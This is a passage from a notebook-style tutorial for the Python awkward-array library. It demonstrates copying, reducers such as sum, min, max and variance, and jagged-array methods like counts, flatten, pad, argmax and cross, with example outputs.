<JaggedArray [[1.1 2.2 3.3] [4.4 5.5 6.6] [7.7 8.8 9.9]] at 0x781188390240>\n\n# %%\na.regular()\n# array([[1.1, 2.2, 3.3],\n#        [4.4, 5.5, 6.6],\n#        [7.7, 8.8, 9.9]])\n\n# %%\n# This one does not.\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\na\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x7811883b9c18>\n\n# %%\ntry:\n    a.regular()\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> jagged array is not regular: different elements have different counts\n\n# %%markdown\n# * ``copy(optional constructor arguments...)``: copy an awkward array object, non-recursively and without copying memory buffers, possibly replacing some of its parameters. If the class is an awkward subclass or has mix-in methods, they are propagated to the copy.\n\n# %%\nclass Special:\n    def get(self, index):\n        try:\n            return self[index]\n        except IndexError:\n            return None\n\nJaggedArrayMethods = awkward.Methods.mixin(Special, awkward.JaggedArray)\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\na.__class__ = JaggedArrayMethods\na\n# <JaggedArrayMethods [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x7811883bc2b0>\n\n# %%\na.get(2)\n# array([4.4, 5.5])\n\n# %%\na.get(3)\n\n# %%\nb = a.copy(content=[100, 200, 300, 400, 500])\nb\n# <JaggedArrayMethods [[100 200 300] [] [400 500]] at 0x7811883c5908>\n\n# %%\nb.get(2)\n# array([400, 500])\n\n# %%\nb.get(3)\n\n# %%markdown\n# Internally, all the methods that return views of the array (like slicing) use ``copy`` to retain the special methods.\n\n# %%\nc = a[1:]\nc\n# <JaggedArrayMethods [[] [4.4 5.5]] at 0x7811883c5be0>\n\n# %%\nc.get(1)\n# array([4.4, 5.5])\n\n# %%\nc.get(2)\n\n# %%markdown\n# * ``deepcopy(optional constructor arguments...)``: like ``copy``, except that it recursively copies all internal structure, including memory buffers associated with Numpy arrays.\n\n# %%\nb = a.deepcopy(content=[100, 200, 300, 400, 500])\nb\n# <JaggedArrayMethods [[100 200 300] [] [400 500]] at 0x781188355748>\n\n# %%\n# Modify the structure of a (not recommended; this is a demo).\na.starts[0] = 1\na\n# <JaggedArrayMethods [[2.2 3.3] [] [4.4 5.5]] at 0x7811883bc2b0>\n\n# %%\n# But b is not modified. (If it were, it would start with 200.)\nb\n# <JaggedArrayMethods [[100 200 300] [] [400 500]] at 0x781188355748>\n\n# %%markdown\n# * ``empty_like(optional constructor arguments...)``\n# * ``zeros_like(optional constructor arguments...)``\n# * ``ones_like(optional constructor arguments...)``: recursively copies structure, replacing contents with new uninitialized buffers, new buffers full of zeros, or new buffers full of ones. Not usually used in analysis, but needed for implementation.\n\n# %%\nd = a.zeros_like()\nd\n# <JaggedArrayMethods [[0.0 0.0] [] [0.0 0.0]] at 0x7811883c59b0>\n\n# %%\ne = a.ones_like()\ne\n# <JaggedArrayMethods [[1.0 1.0] [] [1.0 1.0]] at 0x78118847a2b0>\n\n# %%markdown\n# ## Reducers\n#\n# All awkward arrays also have a complete set of reducer methods. Reducers can be found in Numpy as well (as array methods and as free-standing functions), but they're not called out as a special class the way that universal functions (\"ufuncs\") are. Reducers decrease the rank or jaggedness of an array by one dimension, replacing subarrays with scalars. Examples include ``sum``, ``min``, and ``max``, but any monoid (associative operation with an identity) can be a reducer.\n#\n# In awkward-array, reducers are only array methods (not free-standing functions) and unlike Numpy, they do not take an ``axis`` parameter. When a reducer is called at any level, it reduces the innermost dimension. (Since outer dimensions can be jagged, this is the only dimension that can be meaningfully reduced.)\n\n# %%\na = awkward.fromiter([[[[1, 2], [3]], [[4, 5]]], [[[], [6, 7, 8, 9]]]])\na\n# <JaggedArray [[[[1 2] [3]] [[4 5]]] [[[] [6 7 8 9]]]] at 0x7811883b9470>\n\n# %%\na.sum()\n# <JaggedArray [[[3 3] [9]] [[0 30]]] at 0x7811883bc4a8>\n\n# %%\na.sum().sum()\n# <JaggedArray [[6 9] [30]] at 0x7811883bc048>\n\n# %%\na.sum().sum().sum()\n# array([15, 30])\n\n# %%\na.sum().sum().sum().sum()\n# 45\n\n# %%markdown\n# In the following example, \"the deepest axis\" of different fields in the table are at different depths: singly jagged in ``\"x\"`` and doubly jagged array in ``\"y\"``. The ``sum`` reduces each depth by one, producing a flat array ``\"x\"`` and a singly jagged array in ``\"y\"``.\n\n# %%\na = awkward.fromiter([{\"x\": [], \"y\": [[0.1, 0.2], [], [0.3]]}, {\"x\": [1, 2, 3], \"y\": [[0.4], [], [0.5, 0.6]]}])\na.tolist()\n# [{'x': [], 'y': [[0.1, 0.2], [], [0.3]]},\n#  {'x': [1, 2, 3], 'y': [[0.4], [], [0.5, 0.6]]}]\n\n# %%\na.sum().tolist()\n[{'x': 0, 'y': [0.3, 0.0, 0.3]},\n {'x': 6, 'y': [0.4, 0.0, 1.1]}]\n\n# %%markdown\n# This sum cannot be reduced again because ``\"x\"`` is not jagged (would reduce to a scalar) and ``\"y\"`` is (would reduce to an array). The result cannot be scalar in one field (a single row, not a collection) and an array in another field (a collection).\n\n# %%\ntry:\n    a.sum().sum()\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> some Table columns are jagged and others are not\n\n# %%markdown\n# A table can be reduced if all of its fields are jagged or if all of its fields are not jagged; here's an example of the latter.\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": 3.3}])\na.tolist()\n# [{'x': 1, 'y': 1.1}, {'x': 2, 'y': 2.2}, {'x': 3, 'y': 3.3}]\n\n# %%\na.sum()\n# <sum {'x': 6, 'y': 6.6}>\n\n# %%markdown\n# The resulting object is a scalar row\u2014for your convenience, it has been labeled with the reducer that produced it.\n\n# %%\nisinstance(a.sum(), awkward.Table.Row)\n# True\n\n# %%markdown\n# ``UnionArrays`` are even more constrained: they can only be reduced if they have primitive (Numpy) type.\n\n# %%\na = awkward.fromiter([1, 2, 3, {\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}])\na\n# <UnionArray [1 2 3 <Row 0> <Row 1>] at 0x781188355550>\n\n# %%\ntry:\n    a.sum()\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'TypeError'> cannot reduce a UnionArray of non-primitive type\n\n# %%\na = awkward.UnionArray.fromtags([0, 0, 0, 1, 1],\n                                [numpy.array([1, 2, 3], dtype=numpy.int32),\n                                 numpy.array([4, 5], dtype=numpy.float64)])\na\n# <UnionArray [1 2 3 4.0 5.0] at 0x781188355da0>\n\n# %%\na.sum()\n# 15.0\n\n# %%markdown\n# In all reducers, ``NaN`` in floating-point arrays and ``None`` in ``MaskedArrays`` are skipped, so these reducers are more like ``numpy.nansum``, ``numpy.nanmax``, and ``numpy.nanmin``, but generalized to all nullable types.\n\n# %%\na = awkward.fromiter([[[[1.1, numpy.nan], [2.2]], [[None, 3.3]]], [[[], [None, numpy.nan, None]]]])\na\n# <JaggedArray [[[[1.1 nan] [2.2]] [[None 3.3]]] [[[] [None nan None]]]] at 0x78118835c7b8>\n\n# %%\na.sum()\n# <JaggedArray [[[1.1 2.2] [3.3]] [[0.0 0.0]]] at 0x781188355a20>\n\n# %%\na = awkward.fromiter([[{\"x\": 1, \"y\": 1.1}, None, {\"x\": 3, \"y\": 3.3}], [], [{\"x\": 4, \"y\": numpy.nan}]])\na.tolist()\n# [[{'x': 1, 'y': 1.1}, None, {'x': 3, 'y': 3.3}], [], [{'x': 4, 'y': nan}]]\n\n# %%\na.sum().tolist()\n# [{'x': 4, 'y': 4.4}, {'x': 0, 'y': 0.0}, {'x': 4, 'y': 0.0}]\n\n# %%markdown\n# The following reducers are defined as methods on all awkward arrays.\n\n# %%markdown\n# * ``reduce(ufunc, identity)``: generic reducer, calls ``ufunc.reduceat`` and returns ``identity`` for empty arrays.\n\n# %%\n# numba.vectorize makes new ufuncs (requires type signatures and a kernel function)\nimport numba\n@numba.vectorize([numba.int64(numba.int64, numba.int64)])\ndef sum_mod_10(x, y):\n    return (x + y) % 10\n\n# %%\na = awkward.fromiter([[1, 2, 3], [], [4, 5, 6], [7, 8, 9, 10]])\na.sum()\n# array([ 6,  0, 15, 34])\n\n# %%\na.reduce(sum_mod_10, 0)\n# array([6, 0, 5, 4])\n\n# %%\n# Missing (None) values are ignored.\na = awkward.fromiter([[1, 2, None, 3], [], [None, None, None], [7, 8, 9, 10]])\na.reduce(sum_mod_10, 0)\n# array([6, 0, 0, 4])\n\n# %%markdown\n# * ``any()``: boolean reducer, returns ``True`` if any (logical or) of the elements of an array are ``True``, returns ``False`` for empty arrays.\n\n# %%\na = awkward.fromiter([[False, False], [True, True], [True, False], []])\na.any()\n# array([False,  True,  True, False])\n\n# %%\n# Missing (None) values are ignored.\na = awkward.fromiter([[False, None], [True, None], [None]])\na.any()\n# array([False,  True, False])\n\n# %%markdown\n# * ``all()``: boolean reducer, returns ``True`` if all (logical and) of the elements of an array are ``True``, returns ``True`` for empty arrays.\n\n# %%\na = awkward.fromiter([[False, False], [True, True], [True, False], []])\na.all()\n# array([False,  True, False,  True])\n\n# %%\n# Missing (None) values are ignored.\na = awkward.fromiter([[False, None], [True, None], [None]])\na.all()\n# array([False,  True,  True])\n\n# %%markdown\n# * ``count()``: returns the (integer) number of elements in an array, skipping ``None`` and ``NaN``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None], [], [3.3, numpy.nan]])\na.count()\n# array([2, 0, 1])\n\n# %%markdown\n# * ``count_nonzero()``: returns the (integer) number of non-zero elements in an array, skipping ``None`` and ``NaN``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None, 0], [], [3.3, numpy.nan, 0]])\na.count_nonzero()\n# array([2, 0, 1])\n\n# %%markdown\n# * ``sum()``: returns the sum of each array, skipping ``None`` and ``NaN``, returning 0 for empty arrays.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None], [], [3.3, numpy.nan]])\na.sum()\n# array([3.3, 0. , 3.3])\n\n# %%markdown\n# * ``prod()``: returns the product (multiplication) of each array, skipping ``None`` and ``NaN``, returning 1 for empty arrays.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None], [], [3.3, numpy.nan]])\na.prod()\n# array([2.42, 1.  , 3.3 ])\n\n# %%markdown\n# * ``min()``: returns the minimum number in each array, skipping ``None`` and ``NaN``, returning infinity or the largest possible integer for empty arrays. (Note that Numpy raises errors for empty arrays.)\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None], [], [3.3, numpy.nan]])\na.min()\n# array([1.1, inf, 3.3])\n\n# %%\na = awkward.fromiter([[1, 2, None], [], [3]])\na.min()\n# array([                  1, 9223372036854775807,                   3])\n\n# %%markdown\n# The identity of minimization is ``inf`` for floating-point values and ``9223372036854775807`` for ``int64`` because minimization with any other value would return the other value. This is more convenient for data analysts than raising an error because empty inner arrays are common.\n\n# %%markdown\n# * ``max()``: returns the maximum number in each array, skipping ``None`` and ``NaN``, returning negative infinity or the smallest possible integer for empty arrays. (Note that Numpy raises errors for empty arrays.)\n\n# %%\na = awkward.fromiter([[1.1, 2.2, None], [], [3.3, numpy.nan]])\na.max()\n# array([ 2.2, -inf,  3.3])\n\n# %%\na = awkward.fromiter([[1, 2, None], [], [3]])\na.max()\n# array([                   2, -9223372036854775808,                    3])\n\n# %%markdown\n# The identity of maximization is ``-inf`` for floating-point values and ``-9223372036854775808`` for ``int64`` because maximization with any other value would return the other value. This is more convenient for data analysts than raising an error because empty inner arrays are common.\n#\n# Note that the maximization-identity for unsigned types is ``0``.\n\n# %%\na = awkward.JaggedArray.fromcounts([3, 0, 2], numpy.array([1.1, 2.2, 3.3, 4.4, 5.5], dtype=numpy.uint16))\na\n# <JaggedArray [[1 2 3] [] [4 5]] at 0x78112c0e9a58>\n\n# %%\na.max()\n# array([3, 0, 5], dtype=uint16)\n\n# %%markdown\n# Functions like mean and standard deviation aren't true reducers because they're not associative (``mean(mean(x1, x2, x3), mean(x4, x5))`` is not equal to ``mean(mean(x1, x2), mean(x3, x4, x5))``). However, they're useful methods that exist on all awkward arrays, defined in terms of reducers.\n\n# %%markdown\n# * ``moment(n, weight=None)``: returns the ``n``th moment of each array (a floating-point value), skipping ``None`` and ``NaN``, returning ``NaN`` for empty arrays. If ``weight`` is given, it is taken as an array of weights, which may have the same structure as the ``array`` or be broadcastable to it, though any broadcasted weights would have no effect on the moment.\n\n# %%\na = awkward.fromiter([[1, 2, 3], [], [4, 5]])\n\n# %%\na.moment(1)\n# array([2. , nan, 4.5])\n\n# %%\na.moment(2)\n# array([ 4.66666667,         nan, 20.5       ])\n\n# %%markdown\n# Here is the first moment (mean) with a weight broadcasted from a scalar and from a non-jagged array, to show how it doesn't affect the result. The moment is calculated over an inner array, so if a constant value is broadcasted to all elements of that inner array, they all get the same weight.\n\n# %%\na.moment(1)\n# array([2. , nan, 4.5])\n\n# %%\na.moment(1, 100)\n# array([2. , nan, 4.5])\n\n# %%\na.moment(1, numpy.array([100, 200, 300]))\n# array([2. , nan, 4.5])\n\n# %%markdown\n# Only when the weight varies across an inner array does it have an effect.\n\n# %%\na.moment(1, awkward.fromiter([[1, 10, 100], [], [0, 100]]))\n# array([2.89189189,        nan, 5.        ])\n\n# %%markdown\n# * ``mean(weight=None)``: returns the mean of each array (a floating-point value), skipping ``None`` and ``NaN``, returning ``NaN`` for empty arrays, using optional ``weight`` as above.\n\n# %%\na = awkward.fromiter([[1, 2, 3], [], [4, 5]])\na.mean()\n# array([2. , nan, 4.5])\n\n# %%markdown\n# * ``var(weight=None, ddof=0)``: returns the variance of each array (a floating-point value), skipping ``None`` and ``NaN``, returning ``NaN`` for empty arrays, using optional ``weight`` as above. The ``ddof`` or \"Delta Degrees of Freedom\" replaces a divisor of ``N`` (count or sum of weights) with a divisor of ``N - ddof``, following `numpy.var <https://docs.scipy.org/doc/numpy/reference/generated/numpy.var.html>`__.\n\n# %%\na = awkward.fromiter([[1, 2, 3], [], [4, 5]])\na.var()\n# array([0.66666667,        nan, 0.25      ])\n\n# %%\na.var(ddof=1)\n# array([1. , nan, 0.5])\n\n# %%markdown\n# * ``std(weight=None, ddof=0)``: returns the standard deviation of each array, the square root of the variance described above.\n\n# %%\na.std()\n# array([0.81649658,        nan, 0.5       ])\n\n# %%\na.std(ddof=1)\n# array([1.        ,        nan, 0.70710678])\n\n# %%markdown\n# ## Properties and methods for jaggedness\n#\n# All awkward arrays have these methods, but they provide information about the first nested ``JaggedArray`` within a structure. If, for instance, the ``JaggedArray`` is within some structure that doesn't affect high-level type (e.g. ``IndexedArray``, ``ChunkedArray``, ``VirtualArray``), then the methods are passed through to the ``JaggedArray``. If it's nested within something that does change type, but can meaningfully pass on the call, such as ``MaskedArray``, then that's what they do. If, however, it reaches a ``Table``, which may have some jagged columns and some non-jagged columns, the propagation stops.\n#\n# * ``counts``: Numpy array of the number of elements in each inner array of the shallowest ``JaggedArray``. The ``counts`` may have rank > 1 if there are any fixed-size dimensions before the ``JaggedArray``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]])\na.counts\n# array([3, 0, 2, 4])\n\n# %%\n# MaskedArrays return -1 for missing values.\na = awkward.fromiter([[1.1, 2.2, 3.3], [], None, [6.6, 7.7, 8.8, 9.9]])\na.counts\n# array([ 3,  0, -1,  4])\n\n# %%markdown\n# A missing inner array (counts is ``-1``) is distinct from an empty inner array (counts is ``0``), but if you want to ensure that you're working with data that have at least ``N`` elements, ``counts >= N`` works.\n\n# %%\na.counts >= 1\n# array([ True, False, False,  True])\n\n# %%\na[a.counts >= 1]\n# <MaskedArray [[1.1 2.2 3.3] [6.6 7.7 8.8 9.9]] at 0x78112c0d54a8>\n\n# %%\n# UnionArrays return -1 for non-jagged arrays mixed with jagged arrays.\na = awkward.fromiter([[1.1, 2.2, 3.3], [], 999, [6.6, 7.7, 8.8, 9.9]])\na.counts\n# array([ 3,  0, -1,  4])\n\n# %%\n# Same for tabular data, regardless of whether they contain nested jagged arrays.\na = awkward.fromiter([[1.1, 2.2, 3.3], [], {\"x\": 1, \"y\": [1.1, 1.2, 1.3]}, [6.6, 7.7, 8.8, 9.9]])\na.counts\n# array([ 3,  0, -1,  4])\n\n# %%markdown\n# Note! This means that pure ``Tables`` will always return zeros for counts, regardless of what they contain.\n\n# %%\na = awkward.fromiter([{\"x\": [], \"y\": []}, {\"x\": [1], \"y\": [1.1]}, {\"x\": [1, 2], \"y\": [1.1, 2.2]}])\na.counts\n# array([-1, -1, -1])\n\n# %%markdown\n# If all of the columns of a ``Table`` are ``JaggedArrays`` with the same structure, you probably want to zip them into a single ``JaggedArray``.\n\n# %%\nb = awkward.JaggedArray.zip(x=a.x, y=a.y)\nb\n# <JaggedArray [[] [<Row 0>] [<Row 1> <Row 2>]] at 0x78112c0dc7f0>\n\n# %%\nb.counts\n# array([0, 1, 2])\n\n# %%markdown\n# * ``flatten(axis=0)``: removes one level of structure (losing information about boundaries between inner arrays) at a depth of jaggedness given by ``axis``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]])\na.flatten()\n# array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])\n\n# %%markdown\n# Unlike a ``JaggedArray``'s ``content``, which is part of its low-level layout, ``flatten()`` performs a high-level logical operation. Here's an example of the distinction.\n\n# %%\n# JaggedArray with an unusual but valid structure.\na = awkward.JaggedArray([3, 100, 0, 6], [6, 100, 2, 10],\n                        [4.4, 5.5, 999, 1.1, 2.2, 3.3, 6.6, 7.7, 8.8, 9.9, 123])\na\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5] [6.6 7.7 8.8 9.9]] at 0x78112c127cf8>\n\n# %%\na.flatten()   # gives you a logically flattened array\n# array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])\n\n# %%\na.content     # gives you an internal structure component of the array\n# array([  4.4,   5.5, 999. ,   1.1,   2.2,   3.3,   6.6,   7.7,   8.8,\n#          9.9, 123. ])\n\n# %%markdown\n# In many cases, the output of ``flatten()`` corresponds to the output of ``content``, but be aware of the difference and use the one you want.\n#\n# With ``flatten(axis=1)``, we can internally flatten nested ``JaggedArrays``.\n\n# %%\na = awkward.fromiter([[[1.1, 2.2], [3.3]], [], [[4.4, 5.5]], [[6.6, 7.7, 8.8], [], [9.9]]])\na\n# <JaggedArray [[[1.1 2.2] [3.3]] [] [[4.4 5.5]] [[6.6 7.7 8.8] [] [9.9]]] at 0x78112c127208>\n\n# %%\na.flatten(axis=0)\n# <JaggedArray [[1.1 2.2] [3.3] [4.4 5.5] [6.6 7.7 8.8] [] [9.9]] at 0x78112c1276a0>\n\n# %%\na.flatten(axis=1)\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5] [6.6 7.7 8.8 9.9]] at 0x78112c127320>\n\n# %%markdown\n# Even if a ``JaggedArray``'s inner structure is due to a fixed-shape Numpy array, the ``axis`` parameter propagates down and does the right thing.\n\n# %%\na = awkward.JaggedArray.fromcounts(numpy.array([3, 0, 2]),\n                                   numpy.array([[1, 1], [2, 2], [3, 3], [4, 4], [5, 5]]))\na\n# <JaggedArray [[[1 1] [2 2] [3 3]] [] [[4 4] [5 5]]] at 0x78112c0d5ac8>\n\n# %%\ntype(a.content)\n# numpy.ndarray\n\n# %%\na.flatten(axis=1)\n# <JaggedArray [[1 1 2 2 3 3] [] [4 4 5 5]] at 0x78112c0d5a20>\n\n# %%markdown\n# But, unlike Numpy, we can't ask for an ``axis`` starting from the other end (with a negative index). The \"deepest array\" is not a well-defined concept for awkward arrays.\n\n# %%\ntry:\n    a.flatten(axis=-1)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'TypeError'> axis must be a non-negative integer (can't count from the end)\n\n# %%\na = awkward.fromiter([[[1.1, 2.2], [3.3]], [], None, [[6.6, 7.7, 8.8], [], [9.9]]])\na\n# <MaskedArray [[[1.1 2.2] [3.3]] [] None [[6.6 7.7 8.8] [] [9.9]]] at 0x78112c0d51d0>\n\n# %%\na.flatten(axis=1)\n# <JaggedArray [[1.1 2.2 3.3] [] [6.6 7.7 8.8 9.9]] at 0x78112c0dcfd0>\n\n# %%markdown\n# * ``pad(length, maskedwhen=True, clip=False)``: ensures that each inner array has at least ``length`` elements by filling in the empty spaces with ``None`` (i.e. by inserting a ``MaskedArray`` layer). The ``maskedwhen`` parameter determines whether ``mask[i] == True`` means the element is ``None`` (``maskedwhen=True``) or not ``None`` (``maskedwhen=False``). Setting ``maskedwhen`` doesn't change the logical meaning of the array. If ``clip=True``, then the inner arrays will have exactly ``length`` elements (by clipping the ones that are too long). Even though this results in regular sizes, they are still represented by a ``JaggedArray``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]])\na\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5] [6.6 7.7 8.8 9.9]] at 0x78112c127be0>\n\n# %%\na.pad(3)\n# <JaggedArray [[1.1 2.2 3.3] [None None None] [4.4 5.5 None] [6.6 7.7 8.8 9.9]] at 0x78112c122588>\n\n# %%\na.pad(3, maskedwhen=False)\n# <JaggedArray [[1.1 2.2 3.3] [None None None] [4.4 5.5 None] [6.6 7.7 8.8 9.9]] at 0x78112c122c18>\n\n# %%\na.pad(3, clip=True)\n# <JaggedArray [[1.1 2.2 3.3] [None None None] [4.4 5.5 None] [6.6 7.7 8.8]] at 0x78112c127940>\n\n# %%markdown\n# If you want to get rid of the ``MaskedArray`` layer, replace ``None`` with some value.\n\n# %%\na.pad(3).fillna(-999)\n# <JaggedArray [[1.1 2.2 3.3] [-999.0 -999.0 -999.0] [4.4 5.5 -999.0] [6.6 7.7 8.8 9.9]] at 0x78112c0dc0b8>\n\n# %%markdown\n# If you want to make an effectively regular array into a real Numpy array, use ``regular``.\n\n# %%\na.pad(3, clip=True).fillna(0).regular()\n# array([[1.1, 2.2, 3.3],\n#        [0. , 0. , 0. ],\n#        [4.4, 5.5, 0. ],\n#        [6.6, 7.7, 8.8]])\n\n# %%markdown\n# If a ``JaggedArray`` is nested within some other type, ``pad`` will propagate down to it.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], None, [4.4, 5.5], None])\na\n# <MaskedArray [[1.1 2.2 3.3] [] None [4.4 5.5] None] at 0x78112c0d52b0>\n\n# %%\na.pad(3)\n# <MaskedArray [[1.1 2.2 3.3] [None None None] None [4.4 5.5 None] None] at 0x78112c0e9908>\n\n# %%\na = awkward.Table(x=[[1, 1], [2, 2], [3, 3], [4, 4]],\n                  y=awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]]))\na.tolist()\n# [{'x': [1, 1], 'y': [1.1, 2.2, 3.3]},\n#  {'x': [2, 2], 'y': []},\n#  {'x': [3, 3], 'y': [4.4, 5.5]},\n#  {'x': [4, 4], 'y': [6.6, 7.7, 8.8, 9.9]}]\n\n# %%\na.pad(3).tolist()\n# [{'x': [1, 1, None], 'y': [1.1, 2.2, 3.3]},\n#  {'x': [2, 2, None], 'y': [None, None, None]},\n#  {'x': [3, 3, None], 'y': [4.4, 5.5, None]},\n#  {'x': [4, 4, None], 'y': [6.6, 7.7, 8.8, 9.9]}]\n\n# %%\na.pad(3, clip=True).tolist()\n# [{'x': [1, 1, None], 'y': [1.1, 2.2, 3.3]},\n#  {'x': [2, 2, None], 'y': [None, None, None]},\n#  {'x': [3, 3, None], 'y': [4.4, 5.5, None]},\n#  {'x': [4, 4, None], 'y': [6.6, 7.7, 8.8]}]\n\n# %%markdown\n# If you pass a ``pad`` through a ``Table``, be sure that every field in each record is a nested array (and therefore can be padded).\n\n# %%\na = awkward.Table(x=[1, 2, 3, 4],\n                  y=awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]]))\na.tolist()\n# [{'x': 1, 'y': [1.1, 2.2, 3.3]},\n#  {'x': 2, 'y': []},\n#  {'x': 3, 'y': [4.4, 5.5]},\n#  {'x': 4, 'y': [6.6, 7.7, 8.8, 9.9]}]\n\n# %%\ntry:\n    a.pad(3)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> pad cannot be applied to scalars\n\n# %%markdown\n# The same goes for ``UnionArrays``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3, [1, 2, 3]], [], [4.4, 5.5, [4, 5]]])\na\n# <JaggedArray [[1.1 2.2 3.3 [1 2 3]] [] [4.4 5.5 [4 5]]] at 0x7811883c5d30>\n\n# %%\na.pad(5)\n# <JaggedArray [[1.1 2.2 3.3 [1 2 3] None] [None None None None None] [4.4 5.5 [4 5] None None]] at 0x78112c0e9a20>\n\n# %%\na = awkward.UnionArray.fromtags([0, 0, 0, 1, 1],\n                                [awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]]),\n                                 awkward.fromiter([[100, 101], [102]])])\na\n# <UnionArray [[1.1 2.2 3.3] [] [4.4 5.5] [100 101] [102]] at 0x78112c0bed30>\n\n# %%\na.pad(3)\n# <UnionArray [[1.1 2.2 3.3] [None None None] [4.4 5.5 None] [100 101 None] [102 None None]] at 0x78112c0bedd8>\n\n# %%\na = awkward.UnionArray.fromtags([0, 0, 0, 1, 1],\n                                [awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]]),\n                                 awkward.fromiter([100, 200])])\na\n# <UnionArray [[1.1 2.2 3.3] [] [4.4 5.5] 100 200] at 0x78112c0e9b00>\n\n# %%\ntry:\n    a.pad(3)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> pad cannot be applied to scalars\n\n# %%markdown\n# The general behavior of ``pad`` is to replace the shallowest ``JaggedArray`` with a ``JaggedArray`` containing a ``MaskedArray``. The one exception to this type signature is that ``StringArrays`` are padded with characters.\n\n# %%\na = awkward.fromiter([\"one\", \"two\", \"three\"])\na\n# <StringArray ['one' 'two' 'three'] at 0x78112c0dcb00>\n\n# %%\na.pad(4, clip=True)\n# <StringArray ['one ' 'two ' 'thre'] at 0x78112c1222b0>\n\n# %%\na.pad(4, maskedwhen=b\".\", clip=True)\n# <StringArray ['one.' 'two.' 'thre'] at 0x78112c122f98>\n\n# %%\na.pad(4, maskedwhen=b\"\\x00\", clip=True)\n# <StringArray ['one\\x00' 'two\\x00' 'thre'] at 0x78112c122be0>\n\n# %%markdown\n# * ``argmin()`` and ``argmax()``: returns the index of the minimum or maximum value in a non-jagged array or the indexes where each inner array is minimized or maximized. The jagged structure of the return value consists of empty arrays for each empty array and singleton arrays for non-empty ones, consisting of a single index in an inner array. This is the form needed to extract one element from each inner array using jagged indexing.\n\n# %%\na = awkward.fromiter([[-3.3, 5.5, -8.8], [], [-6.6, 0.0, 2.2, 3.3], [], [2.2, -2.2, 4.4]])\nabsa = abs(a)\n\n# %%\na\n# <JaggedArray [[-3.3 5.5 -8.8] [] [-6.6 0.0 2.2 3.3] [] [2.2 -2.2 4.4]] at 0x78112c0beb70>\n\n# %%\nabsa\n# <JaggedArray [[3.3 5.5 8.8] [] [6.6 0.0 2.2 3.3] [] [2.2 2.2 4.4]] at 0x78112c0bec18>\n\n# %%\nindex = absa.argmax()\nindex\n# <JaggedArray [[2] [] [0] [] [2]] at 0x78112c0d0128>\n\n# %%\nabsa[index]\n# <JaggedArray [[8.8] [] [6.6] [] [4.4]] at 0x78112c122c50>\n\n# %%\na[index]\n# <JaggedArray [[-8.8] [] [-6.6] [] [4.4]] at 0x78112c0d5eb8>\n\n# %%markdown\n# * ``cross(other, nested=False)`` and ``argcross(other, nested=False)``: returns jagged tuples representing the `cross-join <https://en.wikipedia.org/wiki/Join_(SQL)#Cross_join>`__ of `array[i]` and `other[i]` separately for each `i`. If `nested=True`, the result is doubly jagged so that each element of the output corresponds to exactly one element in the original `array`.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8, 9.9]])\nb = awkward.fromiter([[\"one\", \"two\"], [\"three\"], [\"four\", \"five\", \"six\"], [\"seven\"]])\na.cross(b)\n# <JaggedArray [[(1.1, one) (1.1, two) (2.2, one) (2.2, two) (3.3, one) (3.3, two)] [] [(4.4, four) (4.4, five) (4.4, six) (5.5, four) (5.5, five) (5.5, six)] [(6.6, seven) (7.7, seven) (8.8, seven) (9.9, seven)]] at 0x78112c0e9550>\n\n# %%\na.cross(b, nested=True)\n# <JaggedArray [[[(1.1, one) (1.1, two)] [(2.2, one) (2.2, two)] [(3.3, one) (3.3, two)]] [] [[(4.4, four) (4.4, five) (4.4, six)] [(5.5, four) (5.5, five) (5.5, six)]] [[(6.6, seven)] [(7.7, seven)] [(8.8, seven)] [(9.9, seven)]]] at 0x78112c0be978>\n\n# %%markdown\n# The \"arg\" version returns indexes at which the appropriate objects may be found, as usual.\n\n# %%\na.argcross(b)\n# <JaggedArray [[(0, 0) (0, 1) (1, 0) (1, 1) (2, 0) (2, 1)] [] [(0, 0) (0, 1) (0, 2) (1, 0) (1, 1) (1, 2)] [(0, 0) (1, 0) (2, 0) (3, 0)]] at 0x78112c122470>\n\n# %%\na.argcross(b, nested=True)\n# <JaggedArray [[[(0, 0) (0, 1)] [(1, 0) (1, 1)] [(2, 0) (2, 1)]] [] [[(0, 0) (0, 1) (0, 2)] [(1, 0) (1, 1) (1, 2)]] [[(0, 0)] [(1, 0)] [(2, 0)] [(3, 0)]]] at 0x78112c122dd8>\n\n# %%markdown\n# This method is good to use with ``unzip``, which separates the ``Table`` of tuples 